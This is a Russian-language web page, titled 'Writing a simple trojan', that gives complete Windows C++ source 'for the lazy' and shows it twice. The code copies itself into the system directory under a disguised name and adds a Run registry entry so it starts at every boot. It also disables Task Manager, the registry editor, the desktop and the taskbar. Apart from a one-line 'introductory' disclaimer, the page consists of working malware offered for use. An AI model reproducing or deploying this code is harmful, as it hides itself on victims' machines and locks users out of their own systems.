Внимание! статья ознакомительнаяГотовый код для ленивых:#include "stdafx.h"#include "vir.h"#includeint APIENTRY _tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow){char system[MAX_PATH];char pathtofile[MAX_PATH];HMODULE GetHModule=GetModuleHandle(NULL);GetModuleFileName(GetHModule, pathtofile, sizeof(pathtofile));GetSystemDirectory(system, sizeof(system));strcat(system, "\\regupd.exe");CopyFile(pathtofile, system, false);HKEY hKey;RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);RegSetValueEx(hKey, " Registry Update",0,REG_SZ,(const unsigned char*)system,sizeof(system));RegCloseKey(hKey);DWORD value=1;RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &hKey);RegSetValueEx(hKey, "DisableTaskMgr", NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));RegCloseKey(hKey);RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &hKey);RegSetValueEx(hKey, "DisableRegistryTools", NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));RegCloseKey(hKey);RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_ALL_ACCESS, &hKey);RegSetValueEx(hKey, "NoDesktop", NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));RegCloseKey(hKey);HWND hTaskBar;hTaskBar = FindWindow("Shell_TrayWnd",NULL);EnableWindow(hTaskBar,!value);return 0;}
Популярные программы - Не плати, а благодари!
Пишем простой #троян
Внимание! статья ознакомительная
Готовый код для ленивых:
#include "stdafx.h"
#include "vir.h"
#include
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetHModule=GetModuleHandle(NULL);
GetModuleFileName(GetHModule, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
strcat(system, "\\regupd.exe");
CopyFile(pathtofile, system, false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, " Registry Update",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
DWORD value=1;
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, "DisableTaskMgr", NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, "DisableRegistryTools", NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx(hKey, "NoDesktop", NULL, REG_DWORD, (BYTE*)&value, sizeof(DWORD));
RegCloseKey(hKey);
HWND hTaskBar;
hTaskBar = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hTaskBar,!value);
return 0;
}